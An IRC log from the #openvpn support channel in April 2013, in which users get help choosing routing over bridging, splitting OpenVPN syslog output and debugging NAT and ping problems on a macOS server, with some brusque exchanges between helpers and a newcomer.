18:39 -!- phunyguy [~quassel@unaffiliated/phunyguy] has quit [Read error: Connection reset by peer]
18:39 -!- phunyguy [~quassel@h184-60-182-132.kgldga.dsl.dynamic.tds.net] has joined #openvpn
18:39 -!- phunyguy [~quassel@h184-60-182-132.kgldga.dsl.dynamic.tds.net] has quit [Changing host]
18:39 -!- phunyguy [~quassel@unaffiliated/phunyguy] has joined #openvpn
18:40 -!- blorgh [~bagar@c-54d172d5.029-192-7570701.cust.bredbandsbolaget.se] has joined #openvpn
19:12 -!- speed_racer8 [~speed_rac@173.45.222.89] has joined #openvpn
19:15 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
19:20 -!- JesseCW [~JesseCWor@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
19:29 -!- Netsplit *.net <-> *.split quits: JesseC
19:30 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
19:35 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
19:41 -!- combsbj [~Brandon@74-136-77-68.dhcp.insightbb.com] has quit [Ping timeout: 256 seconds]
19:42 -!- speed_racer8 [~speed_rac@173.45.222.89] has quit [Read error: Connection reset by peer]
19:42 -!- speed_racer8 [~speed_rac@173.45.222.89] has joined #openvpn
19:50 -!- speed_racer8 [~speed_rac@173.45.222.89] has quit [Ping timeout: 248 seconds]
19:55 -!- eutheria [~eutheria@cpc24-cmbg15-2-0-cust120.5-4.cable.virginmedia.com] has quit [Quit: Leaving]
20:15 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
20:29 -!- Skaag [~lunix@114-44-6-1.dynamic.hinet.net] has quit [Ping timeout: 252 seconds]
20:44 -!- Skaag [~lunix@101.12.160.66] has joined #openvpn
21:00 -!- Skaag [~lunix@101.12.160.66] has quit [Read error: Connection reset by peer]
21:01 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
21:22 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
21:29 -!- civillian [~nick@174.202.49.122-static.velocitynet.com.au] has left #openvpn []
21:51 -!- speed_racer8 [~speed_rac@173.45.222.89] has joined #openvpn
21:54 -!- Devastator- is now known as Devastator
21:54 -!- Devastator [~devas@177.18.197.54] has quit [Changing host]
21:54 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
22:22 -!- master_o1_master [~master_of@p4FF24F29.dip0.t-ipconnect.de] has joined #openvpn
22:25 -!- master_of_master [~master_of@p4FF24AD0.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
22:26 -!- vraa__ [~speed_rac@173.45.222.89] has joined #openvpn
22:28 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
22:30 -!- speed_racer8 [~speed_rac@173.45.222.89] has quit [Ping timeout: 276 seconds]
22:45 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
22:46 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
22:58 < dimm0k> why is it that when i let openvpn manage the bridge, i lose internet connection?
23:01 -!- vraa__ [~speed_rac@173.45.222.89] has quit [Quit: Leaving]
23:05 < pekster> Because you're not suposed to let openvpn manage the bridge
23:05 < pekster> !tunortap
23:05 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
23:05 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
23:06 < pekster> Don't use bridging unless you know what you're doing and know you need it
23:21 < dimm0k> pekster: but i want access to not just the internet, but i want access to another linux machine on the local network...
23:22 < pekster> Right. So route it
23:22 < pekster> !serverlan
23:22 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
23:22 < pekster> ^^ that's what you want, not bridging
23:25 < dimm0k> hrmm...  interesting
23:27 < dimm0k> pekster: so with routing, i'm providing specific access whereas bridging gives access to everything?
23:27 < pekster> No
23:27 < pekster> Routing can allow "full" access to the entire network. The only reason (ever) to use bridging is if you want to send raw Ethernet packets. If you want something at or above the IP protocol, you want routing
23:29 < dimm0k> damn, i've been going about this all wrong then
23:30 < pekster> Often people see bridging as the "easier" solution, but don't realize that the OS issues involved with bridging actually make it more complex
23:30 < pekster> If your goal is remote access to the server LAN, use the flowchart from the bot
23:32 < dimm0k> pekster: yeah, that's what i'm realizing now
23:32 < dimm0k> thanks, looking at the flowchart now
23:35 -!- hotwings [hd@secksy.net] has joined #openvpn
23:36 -!- hotwings [hd@secksy.net] has left #openvpn []
--- Day changed Mon Apr 22 2013
00:22 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
00:22 -!- tharkun [~0@187.188.166.5] has joined #openvpn
00:22 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
00:22 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
00:27 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 276 seconds]
00:29 -!- flashuni [~textual@50-1-20-224.dsl.static.sonic.net] has joined #openvpn
00:30 -!- flashuni [~textual@50-1-20-224.dsl.static.sonic.net] has left #openvpn []
00:44 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
00:49 -!- newbie|3 [~tjz@bb119-74-164-84.singnet.com.sg] has quit [Read error: Connection reset by peer]
00:49 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
00:50 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
00:56 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
00:56 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
00:56 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
01:01 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
01:04 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Ping timeout: 272 seconds]
01:10 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
01:11 -!- tharkun [~0@187.188.166.5] has joined #openvpn
01:11 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
01:11 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
01:54 -!- Willis [Willis@173.234.237.131] has quit [Ping timeout: 276 seconds]
02:02 -!- combsbj [~Brandon@74-136-77-68.dhcp.insightbb.com] has joined #openvpn
02:07 -!- Willis [Willis@173.234.237.131] has joined #openvpn
02:09 -!- combsbj [~Brandon@74-136-77-68.dhcp.insightbb.com] has quit [Ping timeout: 256 seconds]
02:13 -!- Willis [Willis@173.234.237.131] has quit [Ping timeout: 258 seconds]
02:14 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
02:15 -!- Willis [Willis@173.234.237.131] has joined #openvpn
02:23 -!- javacoder is now known as haji
02:23 -!- haji is now known as Guest74626
02:29 -!- Skaag [~lunix@101.12.160.66] has joined #openvpn
02:53 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn
03:36 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
03:42 -!- tharkun [~0@187.188.166.5] has joined #openvpn
03:42 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
03:42 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
04:14 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
04:19 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
04:26 -!- squ [ae@unaffiliated/squ] has joined #openvpn
04:26 < squ> hello
04:26 < squ> how to debug why my macosx does not perfrom NAT on tun0 ?
04:53 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 256 seconds]
04:53 -!- mnice [~jdoe@static-84-242-118-58.net.upcbroadband.cz] has joined #openvpn
04:53 < mnice> hello
04:53 < mnice> probably asking in wrong chan, but:
04:54 < mnice> how can I configure rsyslod to keep two separate files for two openvpn instances .. i configured rsyslog to use /var/log/openvpn.log which works, but both instances are expectably pushed there
04:55 < mnice> if      ($programname == 'openvpn' or $syslogtag == '[openvpn]:') then -/var/log/openvpn.log;RSYSLOG_TraditionalFileFormat
04:55 < mnice> if      ($programname == 'openvpn' or $syslogtag == '[openvpn]:') then ~
04:55 < mnice> ^^ this is cfg
04:56 < Aketzu> --daemon ovpn-foobar
04:57 < Aketzu> then the programname changes to specified and can be used for filtering
04:57 < mnice> Aketzu: ah, it changes $syslogtag and $programname, right ?
04:58 < mnice> thanks much
04:59 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
04:59 < mnice> pffff .. damned selinux
04:59 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
05:05 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
05:07 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
05:07 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
05:10 -!- s7r [~s7r@openvpn/user/s7r] has quit [Read error: Connection reset by peer]
05:27 -!- Skaag [~lunix@101.12.160.66] has quit [Read error: Connection reset by peer]
05:28 -!- Steph3000 [~steph@LNantes-156-75-100-31.w80-12.abo.wanadoo.fr] has quit [Read error: Connection reset by peer]
05:31 -!- Guest74626 [~javacoder@2.190.41.190] has quit [Ping timeout: 258 seconds]
05:46 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
05:52 -!- tharkun [~0@187.188.166.5] has joined #openvpn
05:52 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
05:52 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
05:54 <@dazo> mnice: selinux is great ... it's not damned ;-)
05:55 -!- brute11k [~brute@89.249.235.221] has quit [Quit: Leaving.]
05:56 < mnice> dazo: he commited molestatory activities when i changed --daemon-identification to openvpn-internal .. but yes, i like ofc
05:56 < mnice> ;)
05:57 < mnice> **i like selinux ofc
05:57 <@dazo> :)
05:57 < mnice> ps. our internal openvpn instance is running at udp@52194
05:57 <@dazo> heh ... well, yeah, that requires some selinux tweaks
05:58 < mnice> **53194 (52k increment)
06:18 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
06:24 -!- tharkun [~0@187.188.166.5] has joined #openvpn
06:24 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
06:24 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
06:30 -!- kloeri [~kloeri@freenode/staff/exherbo.kloeri] has quit [Ping timeout: 615 seconds]
06:34 -!- kloeri [~kloeri@freenode/staff/exherbo.kloeri] has joined #openvpn
06:48 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
06:48 -!- fordbr [~user@60-241-99-147.static.tpgi.com.au] has quit [Ping timeout: 240 seconds]
06:49 -!- kevinsky [~kevin@senna.rosendaal.net] has quit [Ping timeout: 252 seconds]
06:51 -!- Busch [~Busch@HSI-KBW-149-172-208-115.hsi13.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
06:53 -!- kevinsky [~kevin@senna.rosendaal.net] has joined #openvpn
06:53 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
06:55 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Quit: leaving]
06:56 -!- fordbr [~user@60-241-99-147.static.tpgi.com.au] has joined #openvpn
07:11 < squ> can't ping 10.8.0.1 what might be wrong?
07:12 < squ> but have connected to server :)
07:12 < mnice> squ: everything might be wrong
07:13 < mnice> squ: sysctl -a | grep ip_forw
07:13 < squ> on server?
07:13 < mnice> sure
07:14 < squ> none
07:14 < squ> server is behind router
07:15 < mnice> what ? it should print out something
07:15 < squ> it doesn't
07:15 < mnice> is server linux ?
07:15 < squ> macos
07:15 < squ> there is 'ipfw list'
07:15 < mnice> squ: ask please parents or any responsible adult you have around you there .. we are not oracle to precede that you use macos
07:16 < squ> :)
07:16 < mnice> os x is own story .. i'm glad that i don't have to mess up with dat .. probably ask in #macos
07:16 < mnice> if it exists
07:17 < squ> its more openvpn that macos
07:17 < mnice> generic steps are - to verify if openvpn daemon works and listens on desired ports, if fw is not molesting traffic on that port, if routing (packet forwarding) between ifaces is enabled
07:18 < mnice> squ: no
07:18 < squ> it listens and I'm connected
07:19 < mnice> well, my gf is osx-nazi and i hate that crappy thing since thus that
07:19 < mnice> i had also some macs but she cured me up from that
07:19 < mnice> s/since//
07:19 < squ> no one cares about that
07:20 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 264 seconds]
07:20 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
07:20 < mnice> squ: haha .. no-one cares for your macos routing issue ;) .. i'm pretty sure that if you're connected the macos is causing that, not openvpn
07:21 < squ> since it is support channel
07:22 < squ> as topic states
07:22 < mnice> squ: we support openvpn-related issue, not os specific issue ;)
07:22 < mnice> **issues
07:25 < squ> I'm sure you are
07:25 < squ> are not
07:29 < squ> server's .ovpn shouldn't have <cert></cert> and <key> .. </key> tags right?
07:29 < squ> only <ca> ?
07:29 -!- cnf [qB0QQpdCVG@unaffiliated/cnf] has left #openvpn ["Leaving"]
07:30 < squ> is there tag for <dh> ?
07:30 < mnice> 14:18 < squ> it listens and I'm connected
07:30 < squ> maybe its just that..
07:30 < mnice> ^^ if not you're not connected
07:30 < squ> yes
07:30 < mnice> the issue is obviously in crappy osx
07:30 < jzaw> pebcak
07:31 < squ> I'm going to connect from another client
07:31 < squ> and discovered my server config have <key> and <cert> tags
07:31 < squ> :)
07:31 < mnice> jzaw: peico (problem Exists In Crappy OSX)
07:31 < mnice> jzaw: sorry mate, you're wrong :P
07:32 < mnice> squ: connect please to server (from client) and show us openvpn.log
07:32 < mnice> especially any *push string
07:34 < squ> where is it stored?
07:37 < mnice> squ: so grep -i push /path/to/openvpn/log ## -i is case-insensitive (i hope in osx also) and where it is ? should you default osx logging facility
07:37 < mnice> s/you/use/
07:38 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
07:38 -!- erry [erry@freenode/staff/erry] has quit [Read error: Connection reset by peer]
07:39 -!- fluter [~fluter@fedora/fluter] has quit [Max SendQ exceeded]
07:39 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
07:41 -!- erry_ [erry@freenode/staff/erry] has joined #openvpn
07:41 -!- erry_ is now known as erry
07:42 < squ> http://bpaste.net/show/93201/
07:46 < mnice> squ: again (over and over): LOG SEEMS GOOD AND ONE MIGHT PRESUME THE OS ISSUE .. ask please your mum or dad for solution, if they do not know and you have no other responsible adult around you there feel free to ask here
07:47 < mnice> and now please don't tell us that you already asked :P
07:47 < squ> I'll tell that I told you that I was connected
07:48 < squ> can ping server external ip
07:48 < squ> but not 10.8.0.1
07:48 < mnice> yeah, it's obvious from there and also it's obvious, that connection worked
07:48 -!- andi [~andi@unaffiliated/fr00d] has left #openvpn []
07:48 < mnice> squ: BECAUSE OF OS (and its packet forwarding/fw) .. omg
07:49 < mnice> what is OS on client side ?>
07:50 < mnice> if it is windows 7 you probably need to click on openvpn-guy with right mouse button and select from menu "run as administrator" .. it doesn't work as normal user in win
07:50 < squ> iphone
07:51 < squ> server's openvpn2 should be run as root too?
07:51 < squ> maybe it is cause of this: 'ifconfig: ioctl (SIOCDIFADDR): Can't assign requested address"
07:51 < mnice> squ: go away please .. you blame openvpn from not working properly (with logs don't indicating anything sick) and you use macos and iphone ? omg ..
07:52 < squ> why not
07:52 < squ> ?
07:52 <@EugeneKay> Kiddies, behave.
07:52 < squ> I'm a having a strange feeling someone is trying to insult me
07:53 < squ> mnice, do you want to say that openvpn is only for one specific os ? (linux and your windows7)
07:53 < mnice> squ: i hope i did
07:53 <@EugeneKay> I'm too busy to bother reading your logs, but if mnice says it works, then it probably did work.
07:54 < mnice> yes it is
07:54 <@EugeneKay> I know for a fact that openvpn works just fine on almost every OS(and certainly every OS for which you can get a binary), so it isn't the OS' or the software's fault ;-)
07:54 < mnice> there's some OS specific problem on both sides, client and server .. server is surely not packet forwarding and client is not able to assign ip address
07:55 < squ> I'm not telling it does not work
07:56 < squ> I said client is connected
07:56 < squ> but can't ping 10.8.0.1
07:56 <@EugeneKay> So either your firewall sucks or it isn't really connected
07:56 <@EugeneKay> Go back and read your logs
07:56 < mnice> squ: uaaaaaaaaa .. BECAUSE OF NOT ENABLED PACKET FORWARDING AND PROBABLY MORE ISSUES IN UNDERLYING OS-NETWORK-SPECIFIC LEVEL
07:57 < squ> no need for caps
07:57 < mnice> squ: configuring your openvpn server is half of the job ..
07:58 < mnice> squ: do you have one damned client like linux ?
07:58 < mnice> i'd like to see from connected linux client `traceroute -n 10.8.0.1'
07:59 < mnice> # traceroute -n 192.168.68.3
07:59 < mnice> traceroute to 192.168.68.3 (192.168.68.3), 30 hops max, 40 byte packets using UDP
07:59 < jzaw> you can traceroute from osx ... or mtr too
07:59 < mnice>  1  10.168.68.1 (10.168.68.1)  2.726 ms   2.123 ms   2.270 ms
07:59 < mnice>  2  192.168.68.3 (192.168.68.3)(H!)  2.575 ms (H!)  2.400 ms (H!)  2.409 ms
08:00 < mnice> squ: ^^ this is how it should looks like if it works correctly - i mean osx and routing
08:00 < squ> this is what I did for nat and forwarding:
08:00 < squ> http://bpaste.net/show/93203/
08:01 < squ> traceroute doesn't work
08:01 < squ> I can only ping external server ip
08:03 <@EugeneKay> If the client is not able to assign an IP address to the vpn interface, then your config or invocation is wrong.
08:03 <@EugeneKay> Go back and read the howto
08:03 < squ> I'm pretty sure config is okay
08:04 <@EugeneKay> But you're not the expert
08:04 <@EugeneKay> Or else you'd be telling me that
08:05 < squ> might it be a problem if I have tun0, tun1 (two tunas) in ifconfig output?
08:05 <@EugeneKay> Could be. Troubleshoot smarter, not harder
08:05 < squ> should be two instances of openvpn running
08:06 < squ> ?
08:06 <@EugeneKay> Review your logs
08:06 <@EugeneKay> Maybe even post fresh clean ones
08:06 < squ> if I knew where are they
08:06 <@EugeneKay> !logfile
08:06 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
08:08 < squ> yep, two are running :)
08:08 < squ> one: "openvpn" second: "openvpn2"
08:10 < squ> if re-runs itself if I kill it?
08:10 < squ> should it be killed with kill -SIG something?
08:24 < rob0> If you need two instances, you run two instances. If an instance of openvpn is killed, it exits. This whole thing (but I haven't read all the scrollback) sounds like "I don't understand my OS." Perhaps your questions would do better in a forum for your OS?
08:26 < squ> you are not first telling me it
08:30 -!- Orbi [~opera@109.129.46.202] has joined #openvpn
08:30 -!- Orbi [~opera@109.129.46.202] has left #openvpn []
08:31 -!- Speck [~Speck@runwithcode.com] has left #openvpn ["Konversation terminated!"]
08:33 -!- C_S_B is now known as C-S-B
08:40 < squ> have only one instance of openvpn2 running and a single tun0 interface
08:40 < squ> how do I ping 10.8.0.1 now?
08:41 <@dazo> $ ping 10.8.0.1
08:46 < mnice> dazo: fast Q: .. i've read/heard, that openvpn is single threaded, how many users should it deal with when you use 2048b keys ? thinking about running ipvs load balancing solution to deal a traffic between openvpn isntances
08:47 <@dazo> mnice: Yes, it is single threaded.  The 2048 keys isn't the worst bottleneck actually (even though it has some impact).  The 2048 key is related the asymmetric PKI stuff, which is only used on renegotiations of a temporary symmetric key - and this is up to 256 bits long and is used for the tunnel data encryption
08:48 <@dazo> mnice: the bottleneck in OpenVPN as is is more that more than 100-150 active VPN users will fill up the process time itself ... and it begins to slow down the performance ... so it's more the multiplexing of the clients which is the bottleneck
08:49 -!- fordbr [~user@60-241-99-147.static.tpgi.com.au] has quit [Ping timeout: 260 seconds]
08:49 <@dazo> But it's enough to run multiple OpenVPN instances on separate ports ... and that should solve the issue
08:49 < mnice> fair, thanks
08:50 < mnice> dazo: we're expecting 100-200 regular users connected at same time (database will consist ~ 500 users)
08:50 <@dazo> mnice: what kind of traffic will be passed over the tunnel?  and what's the needed bandwidth?
08:51 < mnice> dazo: unfortunatelly relatively massive trafic .. not sure how rdp (windows remote desktop) is greedy
08:52 < mnice> but devels will connect to vpn and create rdp sessions
08:52 <@dazo> mnice: I've used RDP over a GPRS link without too bad experience ... so if it's RDP traffic (without audio), I wouldn't be too much worried .... but you are in a border zone to where you would need 2 (maybe 3) openvpn processes
08:52 < mnice> dazo: currently the link is 100Mbit up/down
08:53 < mnice> yeah, i suppose
08:53 < mnice> i required for safe 4 threads (four instances)
08:53 <@dazo> If you get a functional setup with 2 openvpn processes ... I think you'll be covered without needing to worry too much
08:53 <@dazo> and everything above that will be more "luxury"
08:54 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
08:54 < mnice> great .. but it's not the issue of this moment .. everything works great yet
08:54 < mnice> we're preparing infra for our devels, they are not connected yet
08:55 <@dazo> I've heard reports that 150 simultaneous users spending all the bandwidth the clients can manage, you begin to notice the slow-down ... So when you set up an infrastructure for 4 instances, you'll be very safe
08:55 < mnice> :)
08:56 < mnice> that's why they call me senior (floor admin) however i'm only 33
08:56 < mnice> my toilet cleaning tasks are resolved in very safe manner
08:56 <@dazo> :)
08:56 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 260 seconds]
08:57 < mnice> btw, openvpn is kind of annoying software for sysadmin .. it all works with no issues .. i'm paid for solving issues
08:57 < mnice> damn
08:58 <@dazo> hahaha
08:59 <@dazo> mnice: that's why you need to implement some heisenbugs of your own ;-)
08:59 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
09:00 < squ> any help with my ping issue?
09:00  * mnice finds on urban dictionary what haisenbug is
09:01 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
09:01 < mnice> squ: you might probably also use some network sniffing tool (tcpdump, snoop, wireshark, whatever) to find out the packets fate ;)
09:01 < mnice> **use ^^
09:01 < squ> maybe.. because tracert doesn't show much
09:03 <@dazo> squ: in any setups ... using ping and to ping server from client and vice versa (using just the VPN IP addresses) is a requirement .... if that doesn't work ... quadruple check firewalls ... double check routing tables ... check that you don't have any overlapping networks
09:03 <@dazo> squ: and by all means ... start with the simplest openvpn config of them all ... to see that VPN works
09:04 < mnice> dazo: thanks, i was writing exactly the same (over and over) .. but probably using bit of different (and sharp) words
09:04 <@dazo> squ: Like this one: http://openvpn.net/index.php/open-source/documentation/miscellaneous/static-key-mini-howto.html
09:04 <@vpnHelper> Title: Static Key Mini-HOWTO (at openvpn.net)
09:07 < squ> ok, fixed :)
09:07 < squ> I rebooted client machine
09:07 < squ> maybe because I tested the server before on a client machine, some routing left on it
09:08 < rob0> Always best not to share little insignificant details. Makes it more of a mystery for us.
09:08 < squ> sorry
09:08 < squ> (:
09:09 < mnice> squ: so does it ping ?
09:10 < squ> 10.8.0.1 from client
09:10 < mnice> if so, we all can die in peace
09:10 < squ> not yet
09:10 < squ> I need to setup gateway-redirect
09:10 < squ> on macosx
09:10 <@dazo> squ: if ping does not work .... you do *not* need gateway-redirect yet
09:11 < squ> dazo, it works!
09:11 < mnice> it works he stated out .. halelujah
09:11 <@dazo> ahh, okay ... I misunderstood you, sorry!
09:12 < squ> is push "dhcp-option" DNS important?
09:13 < squ> I mean while testing it can dropped
09:13 < squ> client won't be able to make dns query without that push?
09:13 < mnice> depends on setup
09:17 < mnice> squ: for example we use class B (172.16.0.0/12) for what's behind vpn, so i just push "route 172.16.0.0 255.240.0.0" and it allows me to create any 172.16..172.31.255.254 subnet within infra without changing gateway (default route) on clients or without changing openvpn setup
09:18 < mnice> however it's not ideal or smart solution
09:19 < mnice> squ: if you change gateway and dnbs server is not in your local segment you'll be ofc not able to reach that dns via new gateway
09:19 < mnice> so depends on setup
09:24 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
09:24 < squ> can't ping 8.8.8.8 :(
09:25 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 246 seconds]
09:26 < mnice> that's even better (if 8.8.8.8 is google public dns)
09:27 < mnice> squ: listen, if you don't change default gw, all network settings on client remains and in ideal setup just one (or more) additional static route is added to your kernel routing table
09:28 < mnice> if you change default gateway that all your traffic is routed (comes through) vpn server you need ofc apropriate setup on server side
09:28 < mnice> i'm talking about server <-> client relations
09:28 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
09:29 < mnice> squ: would you pastebin: egrep -v ^\;\|^$\|^# /your/server/config/file
09:30 < mnice> ^^ i hope that osx knows egrep
09:32 < squ> http://bpaste.net/show/93228
09:33 < squ> I wonder what ';' means alternative?
09:33 < squ> comment?
09:33 < mnice> squ: 1) that's not what i wanted
09:33 < mnice> 2) use udp and not tcp .. tcp inside another tcp is stupid
09:34 < mnice> 3) weed out those nonsense <tags>
09:34 < squ> wait.. why tcp?
09:34 < squ> it doesn't matter much since I can connect and ping, important part is making macosx into router :)
09:35 < mnice> squ: are you okay with that i'm now really gonna to insult you ?
09:35 < mnice> squ: i suppose that you are:
09:35 < squ> wait a bit
09:35 < squ> I go for tea
09:35 < mnice> help yourself pest if you're so smart .. now go away
09:36 < mnice> i finished with ya
09:38 < squ> eh, how do I find Friends on irc... :(
09:38 < squ> mnice, mind if I pm you with that question?
09:39 < squ> ocassionally
09:44 < mnice> lavin' office .. regards
09:44 -!- mnice [~jdoe@static-84-242-118-58.net.upcbroadband.cz] has left #openvpn []
10:06 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Remote host closed the connection]
10:08 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:24 -!- raidz_away is now known as raidz
10:33 -!- fluter [~fluter@fedora/fluter] has quit [Quit: Leaving]
10:36 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:37 < squ> someone else can help me?
10:48 -!- kisom [~kisom@kisom.thr.kth.se] has joined #openvpn
10:51 <@krzee> find friends?
10:57 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 240 seconds]
10:57 -!- Devastator [~devas@177.18.197.54] has joined #openvpn
10:57 -!- Devastator [~devas@177.18.197.54] has quit [Changing host]
10:57 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
11:03 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
11:05 -!- Devastator [~devas@177.18.197.54] has joined #openvpn
11:05 -!- Devastator [~devas@177.18.197.54] has quit [Changing host]
11:05 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
11:15 -!- combsbj [~Brandon@74-136-77-68.dhcp.insightbb.com] has joined #openvpn
11:24 <@dazo> squ: If you can ping your VPN end-points (say, VPN client to VPN server), then you have a functional VPN connection.  The rest is pure standard network issues ... and then I would strongly recommend you to read !tcpip to get a grasp of how routing works ... if your routing doesn't work, you won't have much joy with your VPN
11:24 <@dazo> !tcpip
11:24 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
11:25 <@dazo> (and we generally don't tell people here the solution .... we help people finding the solution, because that helps you understand what you are doing and can be better self-helped later on)
11:25 <@krzee> o/
11:25 < squ> :)
11:26 < squ> can you tell me how do I check if nat server is working?
11:26 < squ> from a computer which is not on local network with server
11:26 <@dazo> squ: depends entirely which OS we're talking about
11:26 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 255 seconds]
11:26 < squ> macosx
11:26 <@dazo> I have no idea
11:26  * dazo is a Linux guy
11:26 <@krzee> osx is your server?
11:27 < squ> you mean server os?
11:27 < squ> osx server
11:27 <@krzee> how did you configure NAT?
11:27 < squ> downloaded "IceFloor" app
11:27 <@krzee> no idea man
11:27 <@krzee> ive always used freebsd/linux for that
11:28 < squ> that app did some standart circle animation
11:28 <@krzee> i use osx as a client exclusively
11:28 < squ> now I have no idea whats going on
11:28 < squ> and "route monitor" keeps silence :)
11:28 < pekster> You downloaded an app instead of using the OS's native features for NAT? That's a strange solution
11:28 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:29 < pekster> Read about how your OS works, not blindly downloading some app that you got off of a forum or blog
11:29 < squ> pekster, unfortunately my friend disconnected from irc just 1 second before telling me how to configure nat on osx
11:29 < pekster> Your friend is dumb
11:29 <@krzee> oh whoa
11:29 < squ> he got girlfriend with mac
11:29 < pekster> Maybe try searchiing the web; I have official apple references in the top 5 results of my query. The search terms are left as an excersize to the reader
11:29 <@krzee> osx has ipfw and natd
11:29 <@krzee> at least according to the first hit on google
11:30 <@dazo> squ: your friend is not people who tells you how to do things ... your friend is google, blogs, books on the topic you want to learn something from
11:30 < pekster> krzee: natd is deprecated >=10.6
11:30 <@krzee> figures, 2010 url
11:30 < squ> krzee, yes it does I were trying it: http://bpaste.net/show/93203/
11:30 <@krzee> still cool though :D
11:30 < squ> s/were/was
11:31 < squ> but it didn't work and I have no idea how to debug it
